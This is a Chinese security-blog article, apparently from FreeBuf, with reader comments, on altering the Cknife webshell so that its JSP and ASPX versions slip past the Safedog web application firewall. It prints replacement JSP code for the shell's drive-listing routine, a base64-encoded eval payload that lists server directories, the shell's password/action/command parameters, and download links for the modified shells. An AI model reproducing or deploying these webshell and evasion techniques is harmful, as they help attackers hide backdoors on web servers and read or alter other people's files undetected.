打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
0×00 前言
親愛的Chora小伙伴在上文說過,他是一個有責任心的基佬,要手把手為大家(不)負責任的講解如何使用Cknife。于是他揮動著小皮鞭,給了身為小弟(弟)的我24小時速成JSP、ASP.NET。在這種極度威逼利誘之下,我不負責任的攢出了繞狗第二式,內容過于冗長,還望請各位看官耐著性子,看一個渣農是如何利用Cknife過安全狗的(沒辦法,Chora??偸翘?#xff0c;我秒不了)。
0×01 JSP繞狗代碼分析
首先我們需要判斷安全狗所攔截的代碼是哪一部分。由于本人是Chora牛口中的“二號垃圾”(一號已經另有他人),所以采用了最笨的辦法,一個函數一個函數刪除來判斷安全狗攔截的點在哪里。功夫不負有心人,第一個函數AA就被攔截了(還好不是最后一個,Bless God ~)。。。
當我刪除AA以后,神奇的發現免殺了(廢話,缺功能好不好!!!)。
顯然問題在void AA函數中,那究竟void AA函數里面是什么內容呢?我們接下來繼續看。
void AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0,2));}}從代碼中我們可以看出AA函數主要使用的listRoots方法(喂~總不可能攔截的for循環吧,混蛋!),查看API(好吧,其實我是查的百度。。。又被雀兒牛羞辱了),listRoots()是用來獲取系統的根目錄路徑。在不同的系統測試結果如下。
Windows系統返回的是A:、C:…,而Linux系統返回的是/。
這里我們順帶稍微提一下cknife的jsp馬兒的執行流程。其實我們的馬兒是在原有一句話的基礎上進行了少量的修改(按照我們的設想規范了一些參數)。這里以cknife.jsp的代碼為例,在cknife中,主要有以下幾個參數:
1、password ?密碼,大家都懂
2、action ? 對應的調用方法,也就是customsize中配置的各項內容,在JSP中為A、B、C等等,當然你也可以修改為其他名稱,只要保證config配置文件與服務器端的馬兒對應一致就可以了。
3、z1、z2 ? 傳遞的參數,根據方法的不同可能為文件路徑,文件名,數據庫名、cmd命令等等。
當cknife調用文件管理模塊的時候,其步驟如下。
1、獲取當前文件路徑,判斷系統類型(L249 )。
String s =request.getSession().getServletContext().getRealPath(“/”);
2、獲取系統根目錄,如過為windows,繪制圖像,列出盤符。(L250)
調用void AA
3、獲取當前路徑的所有文件,列出文件目錄;(L255)
調用void BB
4、根據其他具體操作調用具體方法(讀文件、讀路徑、寫文件、上傳、下載等等)。
其中,在第二步的時候使用到了void AA。完全不懂JSP代碼的我只想到了兩種思路,大牛們見(賤)笑了:
1、是否有其他相同或是類似功能的函數替代listroots;
2、對原有函數變形。
接下來我們就對上述兩種思路進行分析。
0×02 JSP繞過思路一
我恬不知恥的又找到了度娘(又被雀兒牛一頓罵),發現了File.List()方法,該方法羅列當前file對象路徑下的所有文件。測試代碼如下圖所示。
其實我們利用AA函數的目的只是為了獲取系統盤符而已,如果我能夠確定該盤符下存在文件內容,至少能夠確定該盤符確實存在,所以我想到了直接枚舉每一個盤符根目錄的文件就行了。所以有了以下的渣渣代碼。
? ? String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };StringBuffer sb = new StringBuffer("");for (int m = 0; m < disk.length; m++){try {String[] filelists = new File(disk[m] +":\\").list();//列舉盤符if (filelists.length > 0) {sb.append(disk[m] + ":\\\t"); // 如果文件數量>0表示該盤符存在}} catch (Exception e1) { // 如果異常提示該盤符不存在System.out.println("can not visit disk " + disk[m] + ":");}}System.out.println("存在的盤符為:" + sb.toString());測試效果如下圖,正常顯示了盤符(不要問我為啥有H盤符,嘿~嘿~嘿~)
然后結合linux系統的特性,完整的代碼如下:
String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" }; StringBuffer sb = new StringBuffer("");//原代碼中已聲明實際使用中需要刪除該參數 try{String[] filelists = new File("/etc").list();// 是否存在etc目錄推斷linux系統if(filelists.length > 0) {sb.append("/");// 如果文件數量>0表示該盤符存在} }catch(Exception e){for (int m = 0; m < disk.length; m++) {try{String[] filelists = new File(disk[m] + ":\\").list();// if(filelists.length > 0) {//判斷windows系統sb.append(disk[m] + ":\\\t"); // 如果文件數量>0表示該盤符存在}}catch (Exception e1) { // 如果異常提示該盤符不存在//System.out.println("can not visit disk " + disk[m] + ":");}} } //System.out.println("存在的盤符為:" + sb.toString());將上述代碼替換原有的void AA中的內容,再用狗狗查殺一下。
當然這種方法有一定的局限性:
1、對比原有函數,會少了光驅等等無法讀取的盤符(雖然并沒什么卵用)。
2、如果盤符名稱人為更改過或者是用戶權限受限制的話,可能無法識別到正確的盤符。
0×03 JSP繞過思路二
作為一個學渣,看到原來的代碼中
File r[] = File.listRoots();第一反應是新建一個File對象,從而替換File.listRoots的關鍵詞。
File??k = new File(""); File r[] = k.listRoots();然后Chora牛笑我。。。這XX怎么可能過狗。。。
然而。。事實是真的XX就過狗了(嗶了個狗)。。。
執行的結果也是正確顯示
使用原有的JSP模式連接也可以正常執行,無需配置自定義模式。
所以,狗狗對jsp的一句話判斷可能略顯簡單了一些,就是File.listRoots();。所以只要發揮你的想象力,能做的事情就很多了。(當然,前提能夠在有狗狗的服務器上面寫入你的小馬馬,所以各位大牛見仁見智啦)?。
最后我們簡單總結一下,在測試過程中我們發現安全狗只是對Void AA進行了攔截,并沒有攔截其他功能,即是說我們仍可以正常使用諸如命令執行、數據庫等相關的功能(廢話。。。大家都知道本來JSP就過狗!)。
0X04 ASPX繞狗相關
上一文中,有小伙伴提醒補一個asp繞過的修改過程。其實原理都是類似的,我這里以ASPX的為例再介紹一下修改過程。
具體步驟如下:
1、你要會寫if語句。如if(action=”Index”)。
2、代碼完成。
what?什么鬼!!這就結束了?
是的,就這么簡單,讓我們慢慢來,這里以customsize自定義模式里的readdict讀目錄方法為例,首先查看Cknife的config.ini文件關于aspx的相關配置項如下。
Response.Write("->|");var err\:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIEQ9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoOTM2KS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKTt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR\://"%2Berr.message);}Response.Write("|<-");Response.End()簡而言之,就是eval執行了一段base64編碼的內容,這屬于一句話里面最常見的通信形式。我們對base64的代碼進行解密,為了閱讀方便,調整了格式,內容如下。
該段內容通過z1參數獲取到文件路徑,使用系統對象中的System.IO.DirectoryInfo()來獲得文件路徑下的文件信息,然后打印出來。由于一般情況下一句話的參數中經常會帶有eval、execute,導致其特征過于明顯。所以作為學渣的我想如果將這部分直接放在服務器執行的話,是不是就可以避免傳遞eval、execute等類似的關鍵詞了呢?因此,我在服務器上的aspx文件中直接寫入了上述內容,為了測試方便,我省去了base64編碼~(機智又任性!)。
然后,再提一下自定義模式對接cknife的要點有以下:
1、對應密碼,總不可能讓誰都能使用我的shell吧。
2、對應的action名稱,可自己更改。
3、參數z1、z2以及標識數據段的標識符(>|+data+|<)
PS:這里說明一下我的鍋~z1、z2參數的名稱也是可以更改的,只是我在一些功能的時候寫的有問題(其實就是直接寫死成z1、z2了),如果使用的時候遇到問題請見諒,這個在后續的版本中會進一步修復和優化。
最后我們參照上述三點整理我們的過狗文件,你是不是發現其實主要都在寫if語句判斷action內容…
具體的代碼內容請見下一小節。
0×05 渣渣的渣渣代碼
JSP下載? ? ? ? ? ? ? ? ? ? ? ? ?密碼:f65g ? ? ? ? ? ? ? ? ? 1.jsp(已更新)
ASPX相關下載? ? ? ? ? ? ???密碼:f65g ? ? ? ? ? ? ? ? ? cus.aspx
0×06 結語
本文給大家講解了如何通過最簡單的方法,利用現成的一句話加上cknife的自定義參數配置來打造自己的繞狗腳本。大家從我使用的工具和截圖可以看出:我真的是一個菜B!
上帝教會了我hello world,我卻用他來繞WAF~。
最后謝謝Chora小伙伴和MS509里面其他小伙伴帶我攪基,終于從寫Hello World進步到會寫if語句來繞狗狗了,么么噠!
*本文由melodyzx1撰寫并投稿,本文屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載
melodyzx11篇文章等級:1級
這家伙太懶,還未填寫個人描述!
- 上一篇:臺灣大選定向攻擊案例研究
- 下一篇:Nmap備忘單:從探索到漏洞利用 Part1
這些評論亮了
- 安全狗項目負責人 回復 感謝您的提交,我們后期會對安全狗產品進行相應的加固 )7( 亮了
已有 17 條評論
- thor123? (1級) ?2016-03-25 回復 1樓
思路之猥瑣
亮了(5) - Chora? (3級) ?2016-03-25 回復 2樓
接樓上,跟人一樣。
亮了(4) - Qin翼? (1級) ?2016-03-25 回復 3樓
思路猥瑣的跟樓上一樣
亮了(4) - shentouceshi? (3級) ?2016-03-25 回復 4樓
今天發在這里,明天就失效了。你發出來狗狗難道不會更新?
亮了(3)- melodyzx1? (1級) ?2016-03-25 回復
@ shentouceshi? 包括先前chora牛的文章,我們一共對四種不同的服務器語言提供了繞waf的方法。在之前我也有講過,cknife想的是作為一個提供自定義配置的平臺,打造屬于自己的專屬繞waf的腳本,在這里我只是拋磚引玉,希望給各位提供新的思路。身為一個菜逼,這是我所能想到的繞狗方法,當然修補起來也會很簡單,但是您回頭想一想,在促進狗狗進步的同時,我們的測試水平不也在一步步提高么?與其固步自封作繭自縛,倒不如大家齊頭并進來的好吧。我相信各位牛肯定有其他的過狗方法,如果只是這么簡單的繞狗方法就斷了各位的后路的話,我只能借用chora牛文中的最后一句話送您了。。。最后,請相信上帝給你關了一扇門 必然會為你開啟一扇窗。
亮了(5)
- melodyzx1? (1級) ?2016-03-25 回復
- 科科 ?2016-03-25 回復 5樓
正常功能讓人家攔截你個逼
亮了(4)- Qin翼? (1級) ?2016-03-25 回復
@ 科科 什么是不正常功能?
亮了(4) - 路人 ?2016-03-25 回復
@ 科科 別逗~你覺得管理別人網站算正常功能?
亮了(3) - melodyzx1? (1級) ?2016-03-25 回復
@ 科科 謝謝大大指正。因為你看文章也看得出來我確實是菜逼,如果說的不對的還望大大海涵。在我看來,web滲透里面我們的最終目的是為了獲取網站的一定權限,不管是采用哪一種方法。菜刀是其中一種我認為最優的途徑,但是不可避免的問題是,普通一句話的特征過于的明顯(當然大大們有私藏的過waf一句話),導致被攔截。所以我們想到了最初我們滲透的目的,我們不是為了一句話而采用的一句話,而是為了最為方便的達成獲取權限的目的。雖然我們的過狗中采用了你說的“正常功能讓人家攔截你個逼”的思路,但是他至少在部分功能上實現了我們的要求撒~,與其費時間改一個過waf的一句話,顯然借助正常功能不被攔截又能達到目的,何樂而不為呢,至少不是所有管理員都希望任何人都能夠查看、修改服務器文件的吧?狗也好,菜刀也好,在我們看來都是傳奇式難以超越的存在,所以我們一直在說cknife只是提供一個平臺,并不是說為了取代誰誰誰,而是希望大家能夠借助它發現更多的新的方法和思路,顯然大家的目標都是一致的,不管用什么方法,只要能繞過waf,顯然都是可以利用的方法撒~
亮了(4)- 小伙子不錯 ?2016-03-26 回復
@ melodyzx1? 面對這種沒家教的人還能有這謙虛的態度,小伙子不錯,希望你能更加篤定、坦然的在這條路上走下去。堅持所想。
亮了(4) - kg chen ?2016-03-26 回復
@ 小伙子不錯 S——B如你,傻叉
亮了(0)
- 小伙子不錯 ?2016-03-26 回復
- Qin翼? (1級) ?2016-03-25 回復
- 安全狗項目負責人 ?2016-03-25 回復 6樓
感謝您的提交,我們后期會對安全狗產品進行相應的加固
亮了(7)- 越獄兔 ?2016-03-25 回復
@ 安全狗項目負責人 哈哈哈 狗狗不哭!!站起來擼!
亮了(4)
- 越獄兔 ?2016-03-25 回復
- fuker ?2016-03-25 回復 7樓
上帝教會了我hello world,我卻用他來繞WAF
亮了(2) - dayima ?2016-03-25 回復 8樓
悶聲發大財 槍打出頭鳥
亮了(2) - xxoo ?2016-03-26 回復 9樓
建個abcdefg~z的字母表數組,一個個字符拼湊。穩穩地。
亮了(2) - play ?2016-03-27 回復 10樓
服了,這是哪家的WAF,這也太弱了
總結
以上是生活随笔為你收集整理的打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Cocos2d-x 3.0新引擎文件夹结
- 下一篇: 欧盟无条件批准甲骨文收购Sun